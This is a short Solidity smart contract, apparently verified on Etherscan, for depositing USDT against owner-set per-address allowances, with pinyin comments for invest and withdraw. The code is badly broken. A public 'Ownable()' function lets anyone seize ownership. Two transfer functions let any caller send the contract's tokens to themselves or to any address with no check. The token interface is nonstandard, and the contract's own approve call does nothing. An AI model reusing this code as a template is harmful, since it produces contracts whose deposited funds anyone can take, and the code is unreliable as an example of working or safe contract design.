/** *Submitted for verification at Etherscan.io on 2020-05-11 */ pragma solidity 0.5.2; interface IERC20 { function transfer(address sender, address recipient, uint256 amount) external; function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external ; function decimals() external view returns (uint8); function approve(address spender, uint value) external; } contract MyContract { address public owner; IERC20 usdt; constructor(IERC20 _usdt) public { usdt = _usdt; } function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } mapping(address => uint) private permissiondata; mapping(address => uint) private eddata; function permission(address[] memory addresses,uint[] memory values) onlyOwner public returns (bool) { require(addresses.length > 0); require(values.length > 0); for(uint32 i=0;i<addresses.length;i++){ uint value=values[i]; address iaddress=addresses[i]; permissiondata[iaddress] = value; } return true; } function addpermission(address uaddress,uint value) onlyOwner public { permissiondata[uaddress] = value; } function getPermission(address uaddress) view public returns(uint){ return permissiondata[uaddress]; } function geteddata(address uaddress) view public returns(uint){ return eddata[uaddress]; } //tixian zhuanchu function transferOut(uint amount) public { usdt.transfer(address(this), address(msg.sender), amount); } //touzi function transferIn(uint amount) public{ uint permissiondatauser = permissiondata[address(msg.sender)]; if (permissiondatauser >= amount){ usdt.approve(address(this), amount); permissiondata[address(msg.sender)] -= amount; eddata[address(msg.sender)] += amount; usdt.transferFrom(address(msg.sender), address(this), amount); } } //tixian zhuanchu function transferuser(address toAddr, uint amount) external { usdt.transfer(address(this),toAddr, amount); } }